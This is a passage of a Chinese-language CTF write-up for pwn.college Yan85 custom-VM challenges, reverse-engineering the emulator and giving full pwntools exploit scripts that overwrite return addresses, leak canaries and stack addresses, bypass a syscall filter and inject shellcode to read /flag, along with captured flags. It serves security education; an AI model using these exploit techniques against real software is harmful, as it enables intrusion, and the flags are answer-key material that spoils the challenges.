3LL * v1 + 2) << 16)); } return result; } ``` 它通过 `interpret_instruction(unsigned __int8 *a1, __int64 a2)` 将 buf 中指令的 机器码解析为 yancode 的伪代码。 并且,当 `(_BYTE)result == 0xFF` 时,结束 `interpreter_loop`,也就是停止翻译指令 了。结合下文的寄存器分析我们知道,这个 `result` 其实就是 `i` 寄存器。 而 `*(unsigned __int16 *)&a1[3 * v1] | ((unsigned __int64)a1[3 * v1 + 2] << 16)` 所做的就是合并出一条三字节指令。 `interpret_instruction` 函数的定义如下: ```c __int64 __fastcall interpret_instruction(unsigned __int8 *a1, __int64 a2) { __int64 result; // rax printf( "[V] a:%#hhx b:%#hhx c:%#hhx d:%#hhx s:%#hhx i:%#hhx f:%#hhxn", a1[1024], a1[1025], a1[1026], a1[1027], a1[1028], a1[1029], a1[1030]); printf("[I] op:%#hhx arg1:%#hhx arg2:%#hhxn", BYTE1(a2), (unsigned __int8)a2, BYTE2(a2)); if ( (a2 & 0x400) != 0 ) interpret_imm(a1, a2); if ( (a2 & 0x800) != 0 ) interpret_add(a1, a2); if ( (a2 & 0x100) != 0 ) interpret_stk(a1, a2); if ( (a2 & 0x8000) != 0 ) interpret_stm(a1, a2); if ( (a2 & 0x1000) != 0 ) interpret_ldm(a1, a2); if ( (a2 & 0x200) != 0 ) interpret_cmp(a1, a2); if ( (a2 & 0x2000) != 0 ) interpret_jmp(a1, a2); result = BYTE1(a2) & 0x40; if ( (a2 & 0x4000) != 0 ) return interpret_sys(a1, a2); return result; } ``` 这里,我们可以看到 Yan85 提供的寄存器(`a、b、c、d、s、i、f`)在内存中的保存位置 分别是 `a1[1024]` ~ `a1[1030]`。 我大胆猜测一下这些寄存器的用途:`a、b、c、d` 应该是四个通用寄存器;`s` 应该是栈 指针寄存器;`i` 应该是指令指针寄存器;`f` 应该是标志寄存器。 然后,第 14 行会输出一个提示信息告诉我们当前 `opcode`、`arg1`、`arg2` 的值,这对 我们理解内存中的数据如何解析成指令很有帮助。 这里 IDA 的反汇编使用了 `BYTE1`、`BYTE2` 宏。它们的作用分别是取一个数据的第 1 位 、第 2 位。同理,`BYTE0` 取第 1 位,类似的宏应该有 `BYTE0 ~ BYTE7`。 > 我们以数据 `x = 0x1122334455667788` 为例,`BYTE1` 做的应该是 `(x >> 8) & 0xFF` ,得到 `0x77`;`BYTE2` 做的应该是 `(x >> 16) & 0xFF`,得到 `0x66`。 知道了这些后,我很很容易推断出 yancode 使用的三字节指令在内存中的布局 (LSB) 为: `arg2 opcode arg1`。 最后,`opcode` 的判断是根据 `(a2 & N) != 0` 来实现的。其中 `N` 对于不同的 `opcod e` 来说是不一样的。 > 假设我需要执行 `add` 操作,那就必须满足 `(a2 & 0x800) != 0`,其中 `a2` 是你的 一整条指令(操作码加操作数)。程序会判断你这条指令与 `0x800` 的逻辑与结果是否为 0,不为 0 则断言这条指令的 `opcode` 是 `add`,再利用你给的 `args` 去调用 `interp ret_add(a1, a2)`,也就是解析 `add` 指令的具体操作。 > > `0x800` 的二进制表示是 `0b100000000000`,所以为了得到一条 `add` 指令,我们要做 的就是令 `bin(a2)` 的第 11 位为 1。 好了,下面列张表,记录一下各指令的 `opcode`,答案不为一,这里给出的是最小表示。 另外,我顺便还分析了一下每条指令的功能,所以这张表也顺便记录了不同指令的使用格式 和简介。 | Opcode | Instruction | Description | | :----- | :----------------- | :----------------------------------------------- ------------------------------ | | `x04` | `imm reg, byte` | Load `byte` to `reg` register. | | `x08` | `add reg1, reg2` | Add `reg2` to `reg1`. | | `x01` | `stk reg1, reg2` | Push `reg2` if `reg2` is not zero, pop `reg1` if `reg1` is not zero. | | `x80` | `stm reg1, reg2` | It does the same as `*reg1 = reg2`. | | `x10` | `ldm reg1, reg2` | It does the same as `reg1 = *reg2` | | `x02` | `cmp reg1, reg2` | Compare two registers and set the `f` register st atus. | | `x20` | `jmp flags, reg` | If `flags != 0` and `flags` setted in `f`, jump t o the address saved in `reg`. | | `x40` | `sys SYS_num, reg` | Execute specific `SYS_num` system call, return va lue saved in `reg`. | 对于 `cmp` 指令,不同比较结果的标志位状态表如下: | `f` status | Compare results | | :--------- | :--------------- | | `x10` | `reg1 < reg2` | | `x02` | `reg1 > reg2` | | `x04` | `reg1 = reg2` | | `x01` | `reg1 != reg2` | | `x08` | `reg1, reg2 = 0` | 对于 `sys` 指令,我们可用的系统调用号如下: | NR | SYSCALL NAME | | :----- | :---------------- | | `x02` | `SYS_open` | | `x08` | `SYS_read_code` | | `x10` | `SYS_read_memory` | | `x01` | `SYS_write` | | `x20` | `SYS_sleep` | | `x04` | `SYS_exit` | 接下来是搞清楚寄存器的机器码,我们发现一个 `describe_register` 函数,作用是把寄 存器机器码解析为对应寄存器名称。 ```c __int16 *__fastcall describe_register(char a1) { switch ( a1 ) { case 1: return aAbcdsif; case 8: return &aAbcdsif[1]; case 16: return &aAbcdsif[2]; case 2: return &aAbcdsif[3]; case 64: return &aAbcdsif[4]; case 4: return &aAbcdsif[5]; case 32: return &aAbcdsif[6]; } if ( a1 ) return (__int16 *)"?"; return (__int16 *)"NONE"; } ``` ```plaintext wrap=false showLineNumbers=false .rodata:00000000004031CC aAbcdsif: ; DATA XREF: de scribe_register+13↑o .rodata:00000000004031CC ; describe_regi ster+22↑o ... .rodata:00000000004031CC text "UTF-16LE", 'abcdsif' ``` 还有一个 `write_register` 函数,用来向寄存器写入数据: ```c _BYTE *__fastcall write_register(_BYTE *a1, char a2, char a3) { _BYTE *result; // rax switch ( a2 ) { case 1: result = a1; a1[1024] = a3; break; case 8: result = a1; a1[1025] = a3; break; case 16: result = a1; a1[1026] = a3; break; case 2: result = a1; a1[1027] = a3; break; case 64: result = a1; a1[1028] = a3; break; case 4: result = a1; a1[1029] = a3; break; case 32: result = a1; a1[1030] = a3; break; default: crash(a1, "unknown register"); } return result; } ``` 综合上面两个函数我们得到了不同寄存器所对应的机器码和寄存器在内存中的偏移地址: | Opcode | Register | Offset | | :---------- | :------- | :------------- | | `x01` | `a` | `0x400` | | `x08` | `b` | `0x401` | | `x10` | `c` | `0x402` | | `x02` | `d` | `0x403` | | `x40` | `s` | `0x404` | | `x04` | `i` | `0x405` | | `x20` | `f` | `0x406` | | `Undefined` | `?` | `Non-existent` | | `x00` | `NONE` | `Non-existent` | 某些非法情况会触发 `crash` 函数: ```c // positive sp value has been detected, the output may be wrong! void __fastcall __noreturn crash(__int64 a1, const char *a2) { printf("Machine CRASHED due to: %sn", a2); ((void (__fastcall __noreturn *)(__int64, __int64))sys_exit)(a1, 1LL); } ``` 至此,我们基本上已经摸清楚整个 Yan85 架构了,下面来说说这题的攻击思路。 一开始我以为是要用纯 yancode 来写 shellcode,后来发现确实要用 yancode,但并非整 个 shellcode 都得用 yancode 来写。这困扰了我将近一天时间(其实也就几个小时,因为 我这几天畏难摆烂,所以真正在思考的时间很少……),期间我想了尝试用 yancode 读取 fl ag 的各种姿势,差点放弃……因为这个先入为主的思维定势浪费了不少时间,希望下次别了 。提到这个,我越发觉得需要早点入手一本纸质版的***《思考,快与慢》***了。电子版着 实看不下去,还是纸质版的适合我。虽然这个寒假应该不会有什么时间读……不管了,先买了 再说,反正早晚得有~ 嗯……我注意到 `SYS_read_memory` 系统调用内部进行了一些有趣的操作: ```c del="&a1[a1[1025] + 0x300]" if ( (a2 & 0x10) != 0 ) { puts("[s] ... read_memory"); v5 = sys_read(a1, a1[1024], &a1[a1[1025] + 0x300], a1[1026]); write_register(a1, BYTE2(a2), v5); } ``` ```c ssize_t __fastcall sys_read(__int64 a1, int a2, void *a3, size_t a4) { return read(a2, a3, a4); } ``` ```c // attributes: thunk ssize_t read(int fd, void *buf, size_t nbytes) { return read(fd, buf, nbytes); } ``` 它把数据读到 `&a1[a1[1025] + 0x300]` 这个位置。我们发现 `main` 中的 `read(0, buf , 0x300uLL);` 只让我们读最高 `0x300` 字节到 `buf`,但是这个 `SYS_read_memory` 却 可以让我们把数据读到 `buf[offset + 0x300]` 处。敏感吗?熟悉吗?`0x300`?这不是法 外之地吗? 很幸运,我们确实可以用它来覆盖返回地址。但这里我脑子一抽又踩了一个坑,我想着把返 回地址覆盖为 `sys_open` 函数的地址,然后发现就算我可以返回到 `sys_open` 又如何…… 好在五分钟后我就从这个破坑里面爬出来了……我意识到应该结合 main 中的 read,把我的 shellcode 读到内存中,返回地址覆盖为我 shellcode 的起始地址,这才对嘛。 所以最后的攻击链应该是 main 中的 read 读取 yancode + shellcode,其中 yancode 负 责调用 `SYS_read_memory` 来覆盖返回地址,返回地址我们修改为 shellcode 的起始地址 ,perfect. 调用 `SYS_read_memory` 需要用到的三个参数分别通过三个寄存器传参。`a` 传递文件描 述符、`b` 传递偏移、`c` 传递最大读取大小。 对了,因为 `buf[0x300]` 到返回地址还有一段不小的距离,所以我们的 offset 直接选择 三字节指令可承受的最大值 `0xff`,这个随意,只是想负责的说一下以便于你可以更好的 理解我的 exp。 最后,说说做完这题后的感想吧……我觉得自己在逆向工程方面的能力还是有巨大提升空间的 (对的被你看出来了,我就是菜,又怎样 LOL),一定要静下心来逆向分析啊,这太重要了 。讲真这题的逆向其实很简单,就是单纯畏难不想看……我也搞不懂为什么每次碰到难题都会 特别的畏难,没有激情,艹我可不能只会擅长的东西啊……动态调试能力与之前相比倒是提升 了很多,真棒~ 再分享一下刚做完的时候的[状态](https://memos.cubeyond.net/m/HjyuorX7yxKLimUQskfZ YP) LOL ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, time, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-7-0" HOST, PORT = "localhost", 1337 gdbscript = """ b *interpret_sys+397 b *main+715 c """ yancode_length = 0 stack_base = 0x7FFFFFFDE000 padding_to_ret = b"".ljust(0x19, b"A") def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(): global yancode_length """ arg1 op arg2 """ yancode = b"x01x04x00" # imm a, 0x00 yancode += b"x08x04xff" # imm b, 0xff yancode += b"x10x04x21" # imm c, 0x21 yancode += b"x10x40x01" # sys 0x02, a yancode += b"x04x04xff" # imm i, 0xff yancode_length = len(yancode) shellcode = yancode shellcode += asm(shellcraft.chmod("f", 0o4)) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") send_payload(target, payload) ret2shellcode = padding_to_ret ret2shellcode += p64(stack_base + yancode_length) target.sendlineafter(b"... read_memory", ret2shellcode) response = target.recvall(timeout=5) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): global stack_base start_time = time.time() while True: try: target = launch(debug=False) payload = construct_payload() if attack(target, payload): break stack_base = stack_base + 0x8 except Exception as e: log.exception(f"An error occurred in main: {e}") end_time = time.time() elapsed_time = end_time - start_time log.success(f"Total elapsed time: {elapsed_time:.2f} seconds.") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{4KYvwTY0ajVZJykveF7xtOj0Kfc.0VMzMDL5cTNxgzW}` # Level 7.1 ## Information - Category: Pwn ## Description > Write a full exploit for a custom VM involving injecting shellcode and a metho d of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled! ## Write-up 逆向分析我们发现这题把 opcode 都改掉了,所以我们还得先重新确认各指令的 opcode 才 行。之后的话思路和上题差不多了,不过栈地址我这次不打算爆破。`write` 可以从栈中泄 漏出来一点栈地址之类的,以它为基,减去 shellcode 的偏移,得到 shellcode 的地址。 嗯,再推荐一个 IDA Plugin,叫 [syms2elf](https://github.com/danigargu/syms2elf/) 。它可以导出带符号表的 ELF 文件,对于那些 stripped,分析起来困难的二进制文件,有 了这个插件不要太爽。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-7-1" HOST, PORT = "localhost", 1337 gdbscript = """ b write@plt b *0x401efc c """ shellcode_offset = 0x4EC padding_to_ret = b"".ljust(0x19, b"A") def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(): # stage 1: leak stack base address yancode = b"x04x80x01" # imm a, 0x01 yancode += b"x10x80xff" # imm b, 0xff yancode += b"x02x80x31" # imm c, 0x31 yancode += b"x10x02x04" # sys 0x10, a # stage 2: overwrite return address yancode += b"x04x80x00" # imm a, 0x00 yancode += b"x10x80xff" # imm b, 0xff yancode += b"x02x80x21" # imm c, 0x21 yancode += b"x02x02x04" # sys 0x02, a yancode += b"x20x80xff" # imm i, 0xff # stage 3: ret2shellcode shellcode = yancode shellcode += asm(shellcraft.chmod("f", 0o4)) return shellcode def leak_data(response): leaked_stack_base = response[-8:] log.debug(leaked_stack_base.decode("utf-8", errors="ignore")) log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}") return int.from_bytes(leaked_stack_base, "little") def attack(target, payload): try: os.system("ln -s /flag f") send_payload(target, payload) response = target.recv() log.debug(response.decode("utf-8", errors="ignore")) stack_base = leak_data(response) ret2shellcode = padding_to_ret ret2shellcode += p64(stack_base - shellcode_offset) send_payload(target, ret2shellcode) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch(debug=False) payload = construct_payload() attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{8GNqGB_LW-iRUy4il8m7fn0YMK5.0lMzMDL5cTNxgzW}` # Level 8.0 ## Information - Category: Pwn ## Description > Write a full exploit for a custom VM involving injecting shellcode, and a meth od of tricking the challenge into executing it by locating and utilizing a bug i n the challenge. ## Write-up 啊,就是同时泄漏栈地址和 canary 地址呗,没啥好讲的。自己逆向分析 yancode 的操作 码。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-8-0" HOST, PORT = "localhost", 1337 gdbscript = """ b *sys_write+43 b *sys_read b *main+750 c """ shellcode_offset = 0x4ED padding_to_canary = b"".ljust(0x9, b"A") padding_to_ret = b"".ljust(0x8, b"A") def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(): # stage 1: leak stack base address yancode = b"x01x04x01" # imm a, 0x01 yancode += b"xffx40x01" # imm b, 0xff yancode += b"x2fx02x01" # imm c, 0x2f yancode += b"x04x10x08" # sys 0x10, a # stage 2: overwrite return address yancode += b"x00x04x01" # imm a, 0x00 yancode += b"xffx40x01" # imm b, 0xff yancode += b"x21x02x01" # imm c, 0x21 yancode += b"x04x02x08" # sys 0x02, a yancode += b"xffx20x01" # imm i, 0xff # stage 3: ret2shellcode shellcode = yancode shellcode += asm(shellcraft.chmod("f", 0o4)) return shellcode def leak_data(response): leaked_canary = response[-0x26:-0x1E] leaked_stack_base = response[-0x6:] log.success(f"Leaked canary: {to_hex_bytes(leaked_canary)}") log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}") return [ int.from_bytes(leaked_canary, "little"), int.from_bytes(leaked_stack_base, "little"), ] def attack(target, payload): try: os.system("ln -s /flag f") send_payload(target, payload) response = target.recv() log.debug(response.decode("utf-8", errors="ignore")) target.recvuntil(b"... write") response = target.recv(0x30) canary, stack_base = leak_data(response) ret2shellcode = padding_to_canary ret2shellcode += p64(canary) ret2shellcode += padding_to_ret ret2shellcode += p64(stack_base - shellcode_offset) send_payload(target, ret2shellcode) response = target.recvall(timeout=3) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch(debug=False) payload = construct_payload() attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{wRfuRyCMy3WESGVx2pkEv3pQiJA.01MzMDL5cTNxgzW}` # Level 8.1 ## Information - Category: Pwn ## Description > Write a full exploit for a custom VM involving injecting shellcode, and a meth od of tricking the challenge into executing it by locating and utilizing a bug i n the challenge. ## Write-up 参见 [Level 8.0](#level-80)。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-8-1" HOST, PORT = "localhost", 1337 gdbscript = """ b write@plt b read@plt c """ shellcode_offset = 0x4ED padding_to_canary = b"".ljust(0x9, b"A") padding_to_ret = b"".ljust(0x8, b"A") def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(): # stage 1: leak stack base address yancode = b"x01x40x20" # imm a, 0x01 yancode += b"xffx40x08" # imm b, 0xff yancode += b"x2fx40x10" # imm c, 0x2f yancode += b"x01x80x01" # sys 0x01, d # stage 2: overwrite return address yancode += b"x00x40x20" # imm a, 0x00 yancode += b"xffx40x08" # imm b, 0xff yancode += b"x21x40x10" # imm c, 0x21 yancode += b"x20x80x04" # sys 0x02, a yancode += b"xffx40x40" # imm i, 0xff # stage 3: ret2shellcode shellcode = yancode shellcode += asm(shellcraft.chmod("f", 0o4)) return shellcode def leak_data(response): leaked_canary = response[-0x26:-0x1E] leaked_stack_base = response[-0x6:] log.success(f"Leaked canary: {to_hex_bytes(leaked_canary)}") log.success(f"Leaked stack base address: {to_hex_bytes(leaked_stack_base)}") return [ int.from_bytes(leaked_canary, "little"), int.from_bytes(leaked_stack_base, "little"), ] def attack(target, payload): try: os.system("ln -s /flag f") send_payload(target, payload) response = target.recv() log.debug(response.decode("utf-8", errors="ignore")) canary, stack_base = leak_data(response) ret2shellcode = padding_to_canary ret2shellcode += p64(canary) ret2shellcode += padding_to_ret ret2shellcode += p64(stack_base - shellcode_offset) send_payload(target, ret2shellcode) response = target.recvall(timeout=3) log.debug(response.decode("utf-8", errors="ignore")) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch(debug=False) payload = construct_payload() attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{IX1KO9KJhczkci-cjl7VXfsQ-Qw.0FNzMDL5cTNxgzW}` # Level 9.0 ## Information - Category: Pwn ## Description > Provide your own Yan85 shellcode! This time, it's filtered. ## Write-up ```c {5} ins={29-36} del={27} collapse={1-1, 9-23, 40-48} int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [rsp+18h] [rbp-418h] int i; // [rsp+1Ch] [rbp-414h] _BYTE v5[1024]; // [rsp+20h] [rbp-410h] BYREF int v6; // [rsp+420h] [rbp-10h] __int16 v7; // [rsp+424h] [rbp-Ch] char v8; // [rsp+426h] [rbp-Ah] unsigned __int64 v9; // [rsp+428h] [rbp-8h] v9 = __readfsqword(0x28u); printf("[+] Welcome to %s!n", *argv); puts("[+] This challenge is an custom emulator. It emulates a completely custo m"); puts("[+] architecture that we call "Yan85"! You'll have to understand the"); puts("[+] emulator to understand the architecture, and you'll have to understa nd"); puts("[+] the architecture to understand the code being emulated, and you will "); puts("[+] have to understand that code to get the flag. Good luck!"); puts("[+]"); puts("[+] This level is a full Yan85 emulator. You'll have to reason about yan code,"); puts("[+] and the implications of how the emulator interprets it!"); setvbuf(_bss_start, 0LL, 2, 1uLL); memset(v5, 0, sizeof(v5)); v6 = 0; v7 = 0; v8 = 0; printf("[!] This time, YOU'RE in control! Please input your yancode: "); read(0, &v5[256], 0x300uLL); puts("[!] Are you ready for ultimate Yan85 shellcoding? This challenge only al lows you ONE sys instruction!"); v3 = 0; for ( i = 0; i <= 255; ++i ) { if ( (v5[3 * i + 256] & 4) != 0 ) ++v3; } if ( v3 > 1 ) __assert_fail("num_syscalls <= 1", "/challenge/toddlerone-level-9-0.c", 0x1B Au, "main"); puts("[+] This might seem impossible, but this challenge makes one memory erro r that will allow you"); puts("[+] to execute the system calls you need. The error is what's known as a n *intra-frame* overflow:"); puts("[+] you won't be able to hijack control flow, but you'll be able to mess with the intended logic"); puts("[+] of the emulator!"); puts("[+]"); puts("[+] This is a *teaching* challenge, which means that it will output"); puts("[+] a trace of the Yan85 code as it processes it. The output is here"); puts("[+] for you to understand what the challenge is doing, and you should us e"); puts("[+] it as a guide to help with your reversing of the code."); puts("[+]"); interpreter_loop(v5); } ``` 这题把 `orw` 系统调用都开放了,所以我们可以考虑能不能直接通过 `orw` 拿 flag。mai n 逻辑是把我们的输入数据读到 `&v5[256]` 处,然后绿色部分是一个 filter,负责判断 256 组三字节指令是否包含 syscall 的 opcode,包含则增加 `v3`,`v3 > 1` 则断言失败 。所以简单来说就是我们输入的数据最多只能使用一个 syscall。 好办,我们知道 `interpreter_loop(v5)` 会不断读取并执行下一条指令: ```c void __fastcall __noreturn interpreter_loop(__int64 a1) { unsigned __int8 v1; // al while ( 1 ) { v1 = *(_BYTE *)(a1 + 1029); *(_BYTE *)(a1 + 1029) = v1 + 1; interpret_instruction( a1, *(unsigned __int16 *)(a1 + 3LL * v1 + 256) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 258) << 16)); } } ``` 如果我们先提供一个 `read` syscall,把我们的 shellcode 读到 `&v5[255]` 处,是不是 绕过了 filter?而之后因为 `rip` 一直在改变,我们是不是需要填充一些垃圾值占位那些 我们执行过的指令?在此之后就是我们当前的 `rip` 了,在这里写 shellcode,是不是就 接着执行了? 妙哉,开撸! ~话说为什么我每次一有思路的时候就正好播放***《雾里》***了?好的,单曲循环直到打 通 LMAO~ ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, context, gdb, log, process, remote, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-9-0" HOST, PORT = "localhost", 1337 gdbscript = """ b *main+287 b *sys_read+43 b *sys_open+43 b *sys_write+43 c """ def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(stage): if stage == 1: # read the shellcode to where is out of the filter's range yancode = b"x80x08x00" # imm a, 0x00 yancode += b"x80x02xff" # imm b, 0xff yancode += b"x80x01xff" # imm c, 0xff yancode += b"x04x10x08" # sys 0x10, a return yancode elif stage == 2: # padding to rip yancode = b"x00" * 13 # construct "/flag" string yancode += b"x80x08x00" # imm a, 0x00 yancode += b"x80x02x2f" # imm b, 0x2f yancode += b"x40x08x02" # stm a, b yancode += b"x80x08x01" # imm a, 0x01 yancode += b"x80x02x66" # imm b, 0x66 yancode += b"x40x08x02" # stm a, b yancode += b"x80x08x02" # imm a, 0x02 yancode += b"x80x02x6c" # imm b, 0x6c yancode += b"x40x08x02" # stm a, b yancode += b"x80x08x03" # imm a, 0x03 yancode += b"x80x02x61" # imm b, 0x61 yancode += b"x40x08x02" # stm a, b yancode += b"x80x08x04" # imm a, 0x04 yancode += b"x80x02x67" # imm b, 0x67 yancode += b"x40x08x02" # stm a, b # open /flag yancode += b"x80x08x00" # imm a, 0x00 yancode += b"x80x02x00" # imm b, 0x00 yancode += b"x04x01x08" # sys 0x01, a # read yancode += b"x80x02x08" # imm b, 0x08 yancode += b"x80x01xff" # imm c, 0xff yancode += b"x04x10x08" # sys 0x10, a # write yancode += b"x80x08x01" # imm a, 0x01 yancode += b"x04x08x08" # sys 0x08 a return yancode else: log.error("Invalid stage number.") def extract_flag(target): try: target.recvuntil(b"pwn.college{") flag = target.recv(0xFF) log.success(f"pwn.college{{{flag.decode("utf-8")}") exit() except Exception as e: log.exception(f"An error occurred while extracting flag: {e}") def attack(target, payload): try: send_payload(target, payload) payload = construct_payload(2) send_payload(target, payload) extract_flag(target) except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch(debug=False) payload = construct_payload(1) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{UDbugZTc3krZyqHikNYIwlOG2I2.0VNzMDL5cTNxgzW}` # Level 9.1 ## Information - Category: Pwn ## Description > Provide your own Yan85 shellcode! This time, it's filtered. ## Write-up 参见 [Level 9.0](#level-90)。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, context, gdb, log, process, remote, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-9-1" HOST, PORT = "localhost", 1337 gdbscript = """ c """ def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(stage): if stage == 1: # read the shellcode to where is out of the filter's range yancode = b"x00x02x80" # imm a, 0x00 yancode += b"xffx20x80" # imm b, 0xff yancode += b"xffx04x80" # imm c, 0xff yancode += b"x02x02x10" # sys 0x02, a return yancode elif stage == 2: # padding to rip yancode = b"x00" * 13 # construct "/flag" string yancode += b"x00x02x80" # imm a, 0x00 yancode += b"x2fx20x80" # imm b, 0x2f yancode += b"x20x02x04" # stm a, b yancode += b"x01x02x80" # imm a, 0x01 yancode += b"x66x20x80" # imm b, 0x66 yancode += b"x20x02x04" # stm a, b yancode += b"x02x02x80" # imm a, 0x02 yancode += b"x6cx20x80" # imm b, 0x6c yancode += b"x20x02x04" # stm a, b yancode += b"x03x02x80" # imm a, 0x03 yancode += b"x61x20x80" # imm b, 0x61 yancode += b"x20x02x04" # stm a, b yancode += b"x04x02x80" # imm a, 0x04 yancode += b"x67x20x80" # imm b, 0x67 yancode += b"x20x02x04" # stm a, b # open /flag yancode += b"x00x02x80" # imm a, 0x00 yancode += b"x00x20x80" # imm b, 0x00 yancode += b"x02x20x10" # sys 0x20, a # read yancode += b"x08x20x80" # imm b, 0x08 yancode += b"xffx04x80" # imm c, 0xff yancode += b"x02x02x10" # sys 0x02, a # write yancode += b"x01x02x80" # imm a, 0x01 yancode += b"x02x01x10" # sys 0x01 a return yancode else: log.error("Invalid stage number.") def extract_flag(target): try: target.recvuntil(b"pwn.college{") flag = target.recv(0xFF) log.success(f"pwn.college{{{flag.decode("utf-8")}") exit() except Exception as e: log.exception(f"An error occurred while extracting flag: {e}") def attack(target, payload): try: send_payload(target, payload) payload = construct_payload(2) send_payload(target, payload) extract_flag(target) except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch(debug=False) payload = construct_payload(1) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{kV-lC4_vz8LW0vUOLmZ5sKafrjA.0lNzMDL5cTNxgzW}` # Level 10.0 ## Information - Category: Pwn ## Description > The ultimate Yan85 challenge. Provide your own Yan85 shellcode. ## Write-up 这题解法很巧妙,我们不能像 Level 9 一样绕过 filter。但是注意观察 `interpret_sys` 的实现,我们发现,里面每一个 `if` 语句无论成立与否都会继续判断下一条 `if`: ```c ins={16, 24, 33} collapse={1-12, 20-20, 28-29, 37-61} int __fastcall interpret_sys(unsigned __int8 *a1, int a2) { const char *v2; // rax unsigned __int8 v3; // al unsigned __int64 v4; // rax unsigned __int8 v5; // al unsigned __int64 v6; // rax unsigned __int8 v7; // al unsigned __int8 v8; // al int result; // 